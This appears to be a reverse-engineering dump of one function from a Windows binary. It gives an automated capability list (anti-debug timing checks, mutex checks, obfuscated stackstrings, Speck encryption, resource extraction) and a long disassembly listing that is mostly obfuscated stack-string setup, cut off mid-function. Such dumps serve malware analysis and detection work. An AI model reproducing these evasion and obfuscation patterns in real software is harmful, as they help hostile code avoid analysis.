Function at 0x1400300d0
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Extract resource via kernel32 functions
Get file size
Get system information on windows
Hash data using fnv
Parse pe header
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x39908
call fcn.1401a6e40
sub rsp, rax
mov dword [rsp + 0x3d88], 0x834e
mov byte [rsp + 0x50], 0x4a
mov byte [rsp + 0x51], 0xf0
mov byte [rsp + 0x52], 0x6c
mov eax, 0x8dd
mov word [rsp + 0x5ac], ax
mov byte [rsp + 0x53], 0x6f
movabs rax, 0x7edb93891edebd
mov qword [rsp + 0x7920], rax
movabs rax, 0x7a225e494571c5
mov qword [rsp + 0x7928], rax
mov dword [rsp + 0x3d8c], 0x19567bbb
mov eax, 0x62a
mov word [rsp + 0x5b0], ax
mov eax, 0x692
mov word [rsp + 0x5b4], ax
mov eax, 0x2bb
mov word [rsp + 0x5b8], ax
mov byte [rsp + 0x54], 0x5c
mov byte [rsp + 0x55], 0x7b
mov eax, 0x618
mov word [rsp + 0x5bc], ax
mov byte [rsp + 0x56], 0x38
mov dword [rsp + 0x3d90], 0x5bda
mov eax, 0x3ef
mov word [rsp + 0x5c0], ax
mov dword [rsp + 0x3d94], 0x309b
mov eax, 0xc95
mov word [rsp + 0x5c4], ax
mov eax, 0x8f6
mov word [rsp + 0x5c8], ax
mov eax, 0x7a6
mov word [rsp + 0x5cc], ax
movabs rax, 0x74c72edae7474f
mov qword [rsp + 0x7930], rax
mov byte [rsp + 0x57], 0x7c
mov byte [rsp + 0x58], 0x49
movabs rax, 0x712f46ede7044b
mov qword [rsp + 0x7938], rax
mov dword [rsp + 0x3d98], 0xa80
mov byte [rsp + 0x59], 0x8f
mov byte [rsp + 0x5a], 0x5f
mov eax, 0x1f7
mov word [rsp + 0x5d0], ax
mov eax, 0xbe7
mov word [rsp + 0x5d4], ax
movabs rax, 0x7d930d41f0464c
mov qword [rsp + 0x7940], rax
mov byte [rsp + 0x5b], 0x73
mov eax, 0xd1e
mov word [rsp + 0x5d8], ax
mov byte [rsp + 0x5c], 0x62
mov eax, 0x6f0
mov word [rsp + 0x5dc], ax
movabs rax, 0x7cc70e12c2e995
mov qword [rsp + 0x7948], rax
mov byte [rsp + 0x5d], 0x32
movabs rax, 0x729499fb132394
mov qword [rsp + 0x7950], rax
mov byte [rsp + 0x5e], 0xd1
mov byte [rsp + 0x5f], 0x20
movabs rax, 0x7c085b4ab37607
mov qword [rsp + 0x7958], rax
movabs rax, 0x709255280b9aea
mov qword [rsp + 0x7960], rax
mov byte [rsp + 0x60], 0x28
movabs rax, 0x7ace5bb1534f52
mov qword [rsp + 0x7968], rax
movabs rax, 0x75a3e0cc486896
mov qword [rsp + 0x7970], rax
movabs rax, 0x74aa885d5f25ef
mov qword [rsp + 0x7978], rax
mov dword [rsp + 0x3d9c], 0x6461dfb
mov dword [rsp + 0x3da0], 0x4b98f3e0
movabs rax, 0x7bab4fce7d7802
mov qword [rsp + 0x7980], rax
mov byte [rsp + 0x61], 0x60
mov byte [rsp + 0x62], 0x9b
movabs rax, 0x752db96d80dbe6
mov qword [rsp + 0x7988], rax
mov eax, 0x6de
mov word [rsp + 0x5e0], ax
mov eax, 0x97f
mov word [rsp + 0x5e4], ax
mov dword [rsp + 0x3da4], 0x73432d18
movabs rax, 0x7dd3139fb90b19
mov qword [rsp + 0x7990], rax
movabs rax, 0x7ea37057d6c659
mov qword [rsp + 0x7998], rax
mov dword [rsp + 0x3da8], 0x3f1e37a5
mov dword [rsp + 0x3dac], 0x3c5674c3
mov eax, 0x628
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x3db0], 0x6575
mov eax, 0x24a
mov word [rsp + 0x5ec], ax
mov byte [rsp + 0x63], 0x13
mov dword [rsp + 0x3db4], 0x16b838a9
movabs rax, 0x75e45404d2b008
mov qword [rsp + 0x79a0], rax
mov dword [rsp + 0x3db8], 0xb043
mov dword [rsp + 0x3dbc], 0x42408594
mov eax, 0x250
mov word [rsp + 0x5f0], ax
mov byte [rsp + 0x64], 0x41
mov byte [rsp + 0x65], 0x37
mov eax, 0x581
mov word [rsp + 0x5f4], ax
mov eax, 0x23d
mov word [rsp + 0x5f8], ax
mov byte [rsp + 0x66], 0xde
mov dword [rsp + 0x3dc0], 0x1bfe14cd
mov byte [rsp + 0x67], 0x4f
movabs rax, 0x750e42ff85bf1b
mov qword [rsp + 0x79a8], rax
movabs rax, 0x7095930339c710
mov qword [rsp + 0x79b0], rax
mov dword [rsp + 0x3dc4], 0xf528
mov byte [rsp + 0x68], 0x48
mov byte [rsp + 0x69], 0xfa
mov eax, 0x8ea
mov word [rsp + 0x5fc], ax
movabs rax, 0x78d320743ad5a1
mov qword [rsp + 0x79b8], rax
mov byte [rsp + 0x6a], 0x4e
mov eax, 0xe2b
mov word [rsp + 0x600], ax
mov eax, 0x28e
mov word [rsp + 0x604], ax
mov eax, 0x3b2
mov word [rsp + 0x608], ax
mov byte [rsp + 0x6b], 0xe2
movabs rax, 0x7ca2f36be9a1d0
mov qword [rsp + 0x79c0], rax
mov eax, 0x9bd
mov word [rsp + 0x60c], ax
mov dword [rsp + 0x3dc8], 0x486b30e9
mov byte [rsp + 0x6c], 0x59
mov eax, 0x1cd
mov word [rsp + 0x610], ax
mov eax, 0x9e
mov word [rsp + 0x614], ax
mov byte [rsp + 0x6d], LBItemFromPt
movabs rax, 0x7ecdfa14a946cf
mov qword [rsp + 0x79c8], rax
movabs rax, 0x748f2a5d7e75e5
mov qword [rsp + 0x79d0], rax
mov dword [rsp + 0x3dcc], 0xb76b33b
mov eax, 0x509
mov word [rsp + 0x618], ax
mov eax, 0x22
mov word [rsp + 0x61c], ax
mov eax, 0x4a3
mov word [rsp + 0x620], ax
mov eax, 0xf27
mov word [rsp + 0x624], ax
mov byte [rsp + 0x6e], 0x71
mov byte [rsp + 0x6f], 0x18
movabs rax, 0x797b85ada0e788
mov qword [rsp + 0x79d8], rax
movabs rax, 0x74486e259ec0bc
mov qword [rsp + 0x79e0], rax
mov byte [rsp + 0x70], 0xc8
movabs rax, 0x7c6525ba5b2c86
mov qword [rsp + 0x79e8], rax
movabs rax, 0x7619f2d0dcdc9d
mov qword [rsp + 0x79f0], rax
mov byte [rsp + 0x71], 0xe2
mov byte [rsp + 0x72], 0xbb
movabs rax, 0x77b3c0f6054406
mov qword [rsp + 0x79f8], rax
movabs rax, 0x7075d4e63afea2
mov qword [rsp + 0x7a00], rax
mov dword [rsp + 0x3dd0], 0x835a8c8
mov byte [rsp + 0x73], 0x50
mov dword [rsp + 0x3dd4], 0x1c77168d
mov dword [rsp + 0x3dd8], 0x68016e06
mov dword [rsp + 0x3ddc], 0x2f3bf83e
mov dword [rsp + 0x3de0], 0x7939e5d3
movabs rax, 0x7edac6cdf849e8
mov qword [rsp + 0x7a08], rax
mov dword [rsp + 0x3de4], 0x53548add
mov dword [rsp + 0x3de8], 0x7ed29fd6
mov byte [rsp + 0x74], 0xea
mov eax, 0x669
mov word [rsp + 0x628], ax
movabs rax, 0x73a9ae85e4e529
mov qword [rsp + 0x7a10], rax
mov byte [rsp + 0x75], 0x6f
movabs rax, 0x7ab5d5c48d8fe7
mov qword [rsp + 0x7a18], rax
mov eax, 0x6e9
mov word [rsp + 0x62c], ax
mov byte [rsp + 0x76], 0x22
movabs rax, 0x7d8272fab2cd02
mov qword [rsp + 0x7a20], rax
mov byte [rsp + 0x77], 0xab
mov dword [rsp + 0x3dec], 0x40305054
mov byte [rsp + 0x78], 0x48
mov eax, 0x593
mov word [rsp + 0x630], ax
movabs rax, 0x75109b0204a7bc
mov qword [rsp + 0x7a28], rax
mov dword [rsp + 0x3df0], 0x6bd0
mov dword [rsp + 0x3df4], 0xeff0
mov eax, 0x282
mov word [rsp + 0x634], ax
mov eax, 0x297
mov word [rsp + 0x638], ax
mov byte [rsp + 0x79], 0xd5
mov eax, 0x23a
mov word [rsp + 0x63c], ax
movabs rax, 0x7cd235e266b597
mov qword [rsp + 0x7a30], rax
mov dword [rsp + 0x3df8], 0x1980
movabs rax, 0x7bbe34b6ff9c2a
mov qword [rsp + 0x7a38], rax
mov dword [rsp + 0x3dfc], 0x136
mov eax, 0x510
mov word [rsp + 0x640], ax
mov byte [rsp + 0x7a], 0x15
mov eax, 0xc80
mov word [rsp + 0x644], ax
mov byte [rsp + 0x7b], 0xbd
mov dword [rsp + 0x3e00], 0x33d719e8
mov dword [rsp + 0x3e04], 0xd7
movabs rax, 0x7b425a36642f1c
mov qword [rsp + 0x7a40], rax
movabs rax, 0x7efeb48fa219b7
mov qword [rsp + 0x7a48], rax
mov eax, 0xe90
mov word [rsp + 0x648], ax
mov byte [rsp + 0x7c], 0x32
mov eax, 0x356
mov word [rsp + 0x64c], ax
mov dword [rsp + 0x3e08], 0x3cf9af1c
mov dword [rsp + 0x3e0c], 0x53ed37c3
movabs rax, 0x75edc46e556076
mov qword [rsp + 0x7a50], rax
movabs rax, 0x7a3f6f275a1954
mov qword [rsp + 0x7a58], rax
mov dword [rsp + 0x3e10], 0xc826
mov dword [rsp + 0x3e14], 0x920a
mov byte [rsp + 0x7d], 0x51
mov eax, 0x325
mov word [rsp + 0x650], ax
mov eax, 0x728
mov word [rsp + 0x654], ax
mov dword [rsp + 0x3e18], 0x7eae50ea
movabs rax, 0x7ee5baad844e98
mov qword [rsp + 0x7a60], rax
movabs rax, 0x729d4fd09fa5ab
mov qword [rsp + 0x7a68], rax
mov dword [rsp + 0x3e1c], 0xd51e
mov eax, 0x6b4
mov word [rsp + 0x658], ax
mov eax, 0x28a
mov word [rsp + 0x65c], ax
movabs rax, 0x7ac69129837c39
mov qword [rsp + 0x7a70], rax
mov eax, 0xbf9
mov word [rsp + 0x660], ax
movabs rax, 0x75f56e95c65274
mov qword [rsp + 0x7a78], rax
movabs rax, 0x7ad017dea1e4f7
mov qword [rsp + 0x7a80], rax
mov dword [rsp + 0x3e20], 0x15d8c4ad
mov dword [rsp + 0x3e24], 0xa617
movabs rax, 0x70efac1cbca547
mov qword [rsp + 0x7a88], rax
movabs rax, 0x78c2c669d32ed4
mov qword [rsp + 0x7a90], rax
mov dword [rsp + 0x3e28], 0x7fec6dcc
movabs rax, 0x787a1b31688c12
mov qword [rsp + 0x7a98], rax
mov dword [rsp + 0x3e2c], 0x3fc2fdd
mov dword [rsp + 0x3e30], 0xffb5
mov dword [rsp + 0x3e34], 0x596b40fc
mov byte [rsp + 0x7e], 0xcb
mov byte [rsp + 0x7f], 0xb3
mov eax, 0x576
mov word [rsp + 0x664], ax
mov eax, 0x300
mov word [rsp + 0x668], ax
movabs rax, 0x7984c4c1dc92ea
mov qword [rsp + 0x7aa0], rax
mov byte [rsp + 0x80], 0x49
mov byte [rsp + 0x81], 0x22
movabs rax, 0x7282755ad8f6cf
mov qword [rsp + 0x7aa8], rax
mov byte [rsp + 0x82], 3
movabs rax, 0x777f52c83a085e
mov qword [rsp + 0x7ab0], rax
movabs rax, 0x79fe9099d68cfe
mov qword [rsp + 0x7ab8], rax
movabs rax, 0x7c702fa2b4af04
mov qword [rsp + 0x7ac0], rax
mov dword [rsp + 0x3e38], 0xca4e11b
movabs rax, 0x7623f7eafa022d
mov qword [rsp + 0x7ac8], rax
movabs rax, 0x7c9574a943f9b2
mov qword [rsp + 0x7ad0], rax
mov dword [rsp + 0x3e3c], 0xe15c7f1
movabs rax, 0x7310d8c7f7bf90
mov qword [rsp + 0x7ad8], rax
movabs rax, 0x70275e3187d025
mov qword [rsp + 0x7ae0], rax
mov byte [rsp + 0x83], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x70d463dd3532ca
mov qword [rsp + 0x7ae8], rax
mov eax, 0xcb9
mov word [rsp + 0x66c], ax
movabs rax, 0x750b225d1e29c9
mov qword [rsp + 0x7af0], rax
mov eax, 0x7f7
mov word [rsp + 0x670], ax
movabs rax, 0x77778e4958101e
mov qword [rsp + 0x7af8], rax
mov dword [rsp + 0x3e40], 0xb06c
mov eax, 0x1c3
mov word [rsp + 0x674], ax
mov eax, 0xa3f
mov word [rsp + 0x678], ax
movabs rax, 0x7e2101674a5a4b
mov qword [rsp + 0x7b00], rax
mov byte [rsp + 0x84], 9
mov dword [rsp + 0x3e44], 0x3fa900a1
movabs rax, 0x75c6f7dc2f36e9
mov qword [rsp + 0x7b08], rax
mov eax, 0x5c9
mov word [rsp + 0x67c], ax
mov eax, 0x2af
mov word [rsp + 0x680], ax
movabs rax, 0x7e371a34099458
mov qword [rsp + 0x7b10], rax
mov byte [rsp + 0x85], 0x56
mov dword [rsp + 0x3e48], 0x5712
mov dword [rsp + 0x3e4c], 0xbfecabc
movabs rax, 0x7ee4222d6d43f6
mov qword [rsp + 0x7b18], rax
mov dword [rsp + 0x3e50], 0x109abddb
mov dword [rsp + 0x3e54], 0xa3e2
mov dword [rsp + 0x3e58], 0x3b5473c7
mov dword [rsp + 0x3e5c], 0x46dba7d9
mov byte [rsp + 0x86], 0xdf
movabs rax, 0x75c1b3ea2664b5
mov qword [rsp + 0x7b20], rax
mov byte [rsp + 0x87], 0x2e
movabs rax, 0x7e98f00b844fbf
mov qword [rsp + 0x7b28], rax
mov byte [rsp + 0x88], 0x77
movabs rax, 0x7da11148db76f7
mov qword [rsp + 0x7b30], rax
mov dword [rsp + 0x3e60], 0x64de6afc
mov dword [rsp + 0x3e64], 0x4356c95b
mov eax, 0x36e
mov word [rsp + 0x684], ax
movabs rax, 0x772f4388cd2e3c
mov qword [rsp + 0x7b38], rax
movabs rax, 0x76223b92e81f27
mov qword [rsp + 0x7b40], rax
movabs rax, 0x76c4a05cfd3237
mov qword [rsp + 0x7b48], rax
mov eax, 0x1ec
mov word [rsp + 0x688], ax
mov byte [rsp + 0x89], 0x3f
movabs rax, 0x79f06341b981a6
mov qword [rsp + 0x7b50], rax
mov dword [rsp + 0x3e68], 0x142662d9
movabs rax, 0x7410a9f6b010c0
mov qword [rsp + 0x7b58], rax
mov dword [rsp + 0x3e6c], 0xbde9
mov byte [rsp + 0x8a], 0x52
mov eax, 0x519
mov word [rsp + 0x68c], ax
mov byte [rsp + 0x8b], 0x50
movabs rax, 0x7ce384bc5c8e66
mov qword [rsp + 0x7b60], rax
mov byte [rsp + 0x8c], 6
mov dword [rsp + 0x3e70], 0xb2dc
mov byte [rsp + 0x8d], 0x7b
mov eax, 0xec
mov word [rsp + 0x690], ax
mov eax, 0xfba
mov word [rsp + 0x694], ax
mov eax, 0x780
mov word [rsp + 0x698], ax
mov byte [rsp + 0x8e], 0x2c
movabs rax, 0x76d68a898cc05b
mov qword [rsp + 0x7b68], rax
mov byte [rsp + 0x8f], 0x2d
mov eax, 0x479
mov word [rsp + 0x69c], ax
movabs rax, 0x711630fd470e2b
mov qword [rsp + 0x7b70], rax
mov byte [rsp + 0x90], 0x4a
movabs rax, 0x74ae1c53d0aebd
mov qword [rsp + 0x7b78], rax
mov dword [rsp + 0x3e74], 0xf7d9
mov eax, 0x74b
mov word [rsp + 0x6a0], ax
movabs rax, 0x739d2a153a74bc
mov qword [rsp + 0x7b80], rax
movabs rax, 0x74d90ceb25b1d8
mov qword [rsp + 0x7b88], rax
mov eax, 0x18e
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x3e78], 0xbdcc
movabs rax, 0x77f328d1554b3b
mov qword [rsp + 0x7b90], rax
mov dword [rsp + 0x3e7c], 0x15395ed8
mov eax, 0xdce
mov word [rsp + 0x6a8], ax
movabs rax, 0x757cd82787558f
mov qword [rsp + 0x7b98], rax
mov dword [rsp + 0x3e80], 0x1ef2
mov byte [rsp + 0x91], 0x43
mov byte [rsp + 0x92], 0xcd
mov byte [rsp + 0x93], 8
mov eax, 0x453
mov word [rsp + 0x6ac], ax
movabs rax, 0x7ea70171b09213
mov qword [rsp + 0x7ba0], rax
mov byte [rsp + 0x94], 0xea
mov byte [rsp + 0x95], 0x1f
movabs rax, 0x72106fdc316a97
mov qword [rsp + 0x7ba8], rax
mov byte [rsp + 0x96], 0x87
mov eax, 0x656
mov word [rsp + 0x6b0], ax
mov eax, 0x1cd
mov word [rsp + 0x6b4], ax
mov byte [rsp + 0x97], 0x55
mov eax, 0x617
mov word [rsp + 0x6b8], ax
mov byte [rsp + 0x98], 0x12
mov byte [rsp + 0x99], 0x1f
mov byte [rsp + 0x9a], 0x3f
mov eax, 0x2d6
mov word [rsp + 0x6bc], ax
mov byte [rsp + 0x9b], 0x48
movabs rax, 0x757fc72bfae6c7
mov qword [rsp + 0x7bb0], rax
mov eax, 0x6b3
mov word [rsp + 0x6c0], ax
mov byte [rsp + 0x9c], reloc.COMCTL32.dll_MakeDragList
mov byte [rsp + 0x9d], 0x41
movabs rax, 0x7097bdfb7a635e
mov qword [rsp + 0x7bb8], rax
movabs rax, 0x71ba1c3a307704
mov qword [rsp + 0x7bc0], rax
mov eax, 0x252
mov word [rsp + 0x6c4], ax
mov eax, 0x6b7
mov word [rsp + 0x6c8], ax
mov eax, 0x53b
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x3e84], 0xb8a
mov eax, 0x3ad
mov word [rsp + 0x6d0], ax
movabs rax, 0x78877a1c18b102
mov qword [rsp + 0x7bc8], rax
mov dword [rsp + 0x3e88], 0x29ae
mov dword [rsp + 0x3e8c], 0xaaa4
mov dword [rsp + 0x3e90], 0x71c5b5f8
mov dword [rsp + 0x3e94], 0xde31
mov eax, 0x410
mov word [rsp + 0x6d4], ax
mov eax, 0x2b2
mov word [rsp + 0x6d8], ax
movabs rax, 0x75df59e8d54c4d
mov qword [rsp + 0x7bd0], rax
mov dword [rsp + 0x3e98], 0x1131
movabs rax, 0x7c61c5a9183b27
mov qword [rsp + 0x7bd8], rax
mov byte [rsp + 0x9e], 0x43
mov byte [rsp + 0x9f], 0x4d
movabs rax, 0x77c4cc4f0a73a4
mov qword [rsp + 0x7be0], rax
mov eax, 0x3b
mov word [rsp + 0x6dc], ax
mov dword [rsp + 0x3e9c], 0x4403ad62
mov byte [rsp + 0xa0], 0x8f
mov byte [rsp + 0xa1], 0x2a
mov dword [rsp + 0x3ea0], 0xdbcd
movabs rax, 0x723b8a17d7cef8
mov qword [rsp + 0x7be8], rax
movabs rax, 0x754265de8e197c
mov qword [rsp + 0x7bf0], rax
movabs rax, 0x7260c0f702cc02
mov qword [rsp + 0x7bf8], rax
mov eax, 0xbcc
mov word [rsp + 0x6e0], ax
mov eax, 0x61
mov word [rsp + 0x6e4], ax
mov byte [rsp + 0xa2], 0x8f
mov byte [rsp + 0xa3], 0x75
mov eax, 0x747
mov word [rsp + 0x6e8], ax
mov byte [rsp + 0xa4], 0x99
movabs rax, 0x7d2d8576edaafe
mov qword [rsp + 0x7c00], rax
movabs rax, 0x7ed1a6e996603d
mov qword [rsp + 0x7c08], rax
mov byte [rsp + 0xa5], 0x7d
mov dword [rsp + 0x3ea4], 0x405abd5e
mov eax, 0x798
mov word [rsp + 0x6ec], ax
movabs rax, 0x7b41a40552db25
mov qword [rsp + 0x7c10], rax
mov eax, 0x442
mov word [rsp + 0x6f0], ax
movabs rax, 0x7c925913847428
mov qword [rsp + 0x7c18], rax
movabs rax, 0x79e8f64afb00f4
mov qword [rsp + 0x7c20], rax
mov byte [rsp + 0xa6], 0x65
mov dword [rsp + 0x3ea8], 0x189ac8fa
mov eax, 0xe50
mov word [rsp + 0x6f4], ax
mov eax, 0x367
mov word [rsp + 0x6f8], ax
movabs rax, 0x7c998edf19c330
mov qword [rsp + 0x7c28], rax
mov dword [rsp + 0x3eac], 0x31af
mov byte [rsp + 0xa7], 0x42
mov eax, 0xe29
mov word [rsp + 0x6fc], ax
mov byte [rsp + 0xa8], 0xab
movabs rax, 0x7a78860a60204d
mov qword [rsp + 0x7c30], rax
movabs rax, 0x7373a66a4c5eb7
mov qword [rsp + 0x7c38], rax
movabs rax, 0x7e289535300cab
mov qword [rsp + 0x7c40], rax
mov eax, 2
mov word [rsp + 0x700], ax
mov dword [rsp + 0x3eb0], 0x62a98ea0
mov byte [rsp + 0xa9], 0x2b
mov dword [rsp + 0x3eb4], 0xbcf
mov eax, 0xca4
mov word [rsp + 0x704], ax
mov eax, 0x1dc
mov word [rsp + 0x708], ax
movabs rax, 0x75beb3b2d87fba
mov qword [rsp + 0x7c48], rax
mov dword [rsp + 0x3eb8], 0x4168b1ed
movabs rax, 0x7c457f1a698e85
mov qword [rsp + 0x7c50], rax
mov eax, 0xf6
mov word [rsp + 0x70c], ax
mov eax, 0x576
mov word [rsp + 0x710], ax
mov dword [rsp + 0x3ebc], 0x5aa4ab06
movabs rax, 0x7ab09be626bbe0
mov qword [rsp + 0x7c58], rax
mov byte [rsp + 0xaa], 0xf3
mov dword [rsp + 0x3ec0], 0xac64
mov eax, 0x5e
mov word [rsp + 0x714], ax
mov byte [rsp + 0xab], 0x66
mov byte [rsp + 0xac], 0xa2
movabs rax, 0x75d9ad1a5a734e
mov qword [rsp + 0x7c60], rax
mov dword [rsp + 0x3ec4], 0x75218426
movabs rax, 0x75f595a75f0120
mov qword [rsp + 0x7c68], rax
movabs rax, 0x785ac5d86a1d14
mov qword [rsp + 0x7c70], rax
mov eax, 0xda0
mov word [rsp + 0x718], ax
movabs rax, 0x7c404e1f21795f
mov qword [rsp + 0x7c78], rax
mov byte [rsp + 0xad], 0x8b
mov byte [rsp + 0xae], 0x98
movabs rax, 0x72e976c2f6cb56
mov qword [rsp + 0x7c80], rax
mov byte [rsp + 0xaf], 0xa
mov dword [rsp + 0x3ec8], 0x655e63f6
mov dword [rsp + 0x3ecc], 0x1c5d
mov dword [rsp + 0x3ed0], 0x6b2b3397
movabs rax, 0x777196b5b9945d
mov qword [rsp + 0x7c88], rax
mov eax, 0xbc9
mov word [rsp + 0x71c], ax
mov eax, 0xf90
mov word [rsp + 0x720], ax
mov byte [rsp + 0xb0], 0x6a
mov eax, 0x140
mov word [rsp + 0x724], ax
movabs rax, 0x7bdea2e2241452
mov qword [rsp + 0x7c90], rax
mov eax, 0xfa3
mov word [rsp + 0x728], ax
mov dword [rsp + 0x3ed4], 0x491960ea
mov eax, 0xe3c
mov word [rsp + 0x72c], ax
mov dword [rsp + 0x3ed8], 0x937
movabs rax, 0x7cfb7ae3de8dcd
mov qword [rsp + 0x7c98], rax
mov byte [rsp + 0xb1], 0x4d
mov dword [rsp + 0x3edc], 0x26008dc1
mov eax, 0x91
mov word [rsp + 0x730], ax
mov byte [rsp + 0xb2], 0x7d
mov byte [rsp + 0xb3], 0x59
mov eax, 0x206
mov word [rsp + 0x734], ax
movabs rax, 0x75f922013d1ab4
mov qword [rsp + 0x7ca0], rax
mov dword [rsp + 0x3ee0], 0x7d5e
movabs rax, 0x7aa224729c5497
mov qword [rsp + 0x7ca8], rax
mov byte [rsp + 0xb4], 0x2b
movabs rax, 0x767e7bc259e5a1
mov qword [rsp + 0x7cb0], rax
mov eax, 0x6b1
mov word [rsp + 0x738], ax
mov eax, 0x641
mov word [rsp + 0x73c], ax
mov byte [rsp + 0xb5], 0x6f
mov byte [rsp + 0xb6], 0x60
movabs rax, 0x79740c1354a3f1
mov qword [rsp + 0x7cb8], rax
movabs rax, 0x7e452895506861
mov qword [rsp + 0x7cc0], rax
mov eax, reloc.COMCTL32.dll_LBItemFromPt
mov word [rsp + 0x740], ax
mov eax, 0xecf
mov word [rsp + 0x744], ax
mov byte [rsp + 0xb7], 0x50
mov eax, 0x7b1
mov word [rsp + 0x748], ax
mov dword [rsp + 0x3ee4], 0x45cc
mov eax, 0x3a7
mov word [rsp + 0x74c], ax
mov dword [rsp + 0x3ee8], 0x1975
mov eax, 0x64c
mov word [rsp + 0x750], ax
movabs rax, 0x7749c0c4249548
mov qword [rsp + 0x7cc8], rax
mov eax, 0x4c7
mov word [rsp + 0x754], ax
mov dword [rsp + 0x3eec], 0x782f7357
movabs rax, 0x7a01b3db3c996a
mov qword [rsp + 0x7cd0], rax
mov dword [rsp + 0x3ef0], 0x7630d45e
mov dword [rsp + 0x3ef4], 0x235b66e1
mov dword [rsp + 0x3ef8], 0x5d36
movabs rax, 0x77b205bdef9d34
mov qword [rsp + 0x7cd8], rax
movabs rax, 0x7bd3bbc9849f2c
mov qword [rsp + 0x7ce0], rax
mov eax, 0x1f
mov word [rsp + 0x758], ax
movabs rax, 0x730af0566d0ac7
mov qword [rsp + 0x7ce8], rax
movabs rax, 0x7b5f500e6c4d9c
mov qword [rsp + 0x7cf0], rax
mov dword [rsp + 0x3efc], 0x54c760c
movabs rax, 0x755c62e1ee1457
mov qword [rsp + 0x7cf8], rax
movabs rax, 0x7ce111ab5c0eee
mov qword [rsp + 0x7d00], rax
mov byte [rsp + 0xb8], 0x2a
mov byte [rsp + 0xb9], 0x14
mov eax, 0x6ce
mov word [rsp + 0x75c], ax
mov dword [rsp + 0x3f00], 0xb767
mov byte [rsp + 0xba], 0x8c
mov dword [rsp + 0x3f04], 0xe60c
mov byte [rsp + 0xbb], 7
mov dword [rsp + 0x3f08], 0x5294
mov byte [rsp + 0xbc], 0x2a
mov dword [rsp + 0x3f0c], 0x5ac5
movabs rax, 0x7a38375afca78a
mov qword [rsp + 0x7d08], rax
mov eax, 0xa18
mov word [rsp + 0x760], ax
mov dword [rsp + 0x3f10], 0x195b
mov dword [rsp + 0x3f14], 0xdbac
movabs rax, 0x7bb7a7db15fe96
mov qword [rsp + 0x7d10], rax
movabs rax, 0x76508d8edb88fc
mov qword [rsp + 0x7d18], rax
mov eax, 0x51e
mov word [rsp + 0x764], ax
mov byte [rsp + 0xbd], 0x5d
mov byte [rsp + 0xbe], 0x77
movabs rax, 0x795d9285c6cd63
mov qword [rsp + 0x7d20], rax
mov byte [rsp + LBItemFromPtf], 0xb
mov byte [rsp + 0xc0], 0xbc
movabs rax, 0x7067c6606bff6d
mov qword [rsp + 0x7d28], rax
mov byte [rsp + 0xc1], 0x4f
mov byte [rsp + 0xc2], 7
mov dword [rsp + 0x3f18], 0x373b
mov dword [rsp + 0x3f1c], 0x65548ff3
mov eax, 0x131
mov word [rsp + 0x768], ax
movabs rax, 0x77121a7de2c66b
mov qword [rsp + 0x7d30], rax
mov dword [rsp + 0x3f20], 0x3fef7d80
mov byte [rsp + 0xc3], 3
mov byte [rsp + 0xc4], 0xd9
mov eax, 0x435
mov word [rsp + 0x76c], ax
movabs rax, 0x7329f1097de782
mov qword [rsp + 0x7d38], rax
mov byte [rsp + 0xc5], 0x3e
movabs rax, 0x70b6a1bf4b0d50
mov qword [rsp + 0x7d40], rax
mov byte [rsp + 0xc6], 0x68
movabs rax, 0x720bf62c4f656a
mov qword [rsp + 0x7d48], rax
mov byte [rsp + 0xc7], 7
mov byte [rsp + 0xc8], 0x69
mov dword [rsp + 0x3f24], 0x55018e2a
mov byte [rsp + 0xc9], 0x1a
mov eax, 0xba9
mov word [rsp + 0x770], ax
mov byte [rsp + 0xca], 0x4a
movabs rax, 0x773c1ebed40cef
mov qword [rsp + 0x7d50], rax
movabs rax, 0x7363298514efa9
mov qword [rsp + 0x7d58], rax
mov byte [rsp + 0xcb], 0x33
mov dword [rsp + 0x3f28], 0x2fa0021c
movabs rax, 0x7db020bf778a5a
mov qword [rsp + 0x7d60], rax
movabs rax, 0x740f46070690d5
mov qword [rsp + 0x7d68], rax
movabs rax, 0x799519a49c79fb
mov qword [rsp + 0x7d70], rax
mov dword [rsp + 0x3f2c], 0xc5399b4
mov byte [rsp + 0xcc], 1
mov eax, 0x936
mov word [rsp + 0x774], ax
mov eax, 0x207
mov word [rsp + 0x778], ax
movabs rax, 0x7a9883da360f68
mov qword [rsp + 0x7d78], rax
mov dword [rsp + 0x3f30], 0x599ee10f
mov eax, 0xbdf
mov word [rsp + 0x77c], ax
movabs rax, 0x7dc83c3d338946
mov qword [rsp + 0x7d80], rax
mov byte [rsp + 0xcd], 0x59
mov byte [rsp + 0xce], 0xe9
mov dword [rsp + 0x3f34], 0x31f4111a
mov dword [rsp + 0x3f38], 0x66201138
mov dword [rsp + 0x3f3c], 0x6ef62e2f
mov eax, 0x12e
mov word [rsp + 0x780], ax
movabs rax, 0x7617274816e0c7
mov qword [rsp + 0x7d88], rax
mov eax, 0x657
mov word [rsp + 0x784], ax
mov byte [rsp + 0xcf], 0x8d
mov eax, 0x8a
mov word [rsp + 0x788], ax
mov byte [rsp + 0xd0], 0xf6
mov byte [rsp + 0xd1], 0x61
movabs rax, 0x7ef1eb1370adf6
mov qword [rsp + 0x7d90], rax
movabs rax, 0x70f13841f30d6f
mov qword [rsp + 0x7d98], rax
mov byte [rsp + 0xd2], 0x7b
movabs rax, 0x76291f0161fb6f
mov qword [rsp + 0x7da0], rax
movabs rax, 0x74f95340f827a4
mov qword [rsp + 0x7da8], rax
mov eax, 0x86
mov word [rsp + 0x78c], ax
mov eax, 0x350
mov word [rsp + 0x790], ax
mov byte [rsp + 0xd3], 0x58
movabs rax, 0x753e53d1fbf44a
mov qword [rsp + 0x7db0], rax
mov byte [rsp + 0xd4], 9
movabs rax, 0x7702752d9999d1
mov qword [rsp + 0x7db8], rax
mov dword [rsp + 0x3f40], 0x178499c
mov dword [rsp + 0x3f44], 0x66843239
movabs rax, 0x74c99117ac4cc1
mov qword [rsp + 0x7dc0], rax
mov eax, 0x799
mov word [rsp + 0x794], ax
mov eax, 0x453
mov word [rsp + 0x798], ax
movabs rax, 0x7acd39799a8e6e
mov qword [rsp + 0x7dc8], rax
mov eax, 0x260
mov word [rsp + 0x79c], ax
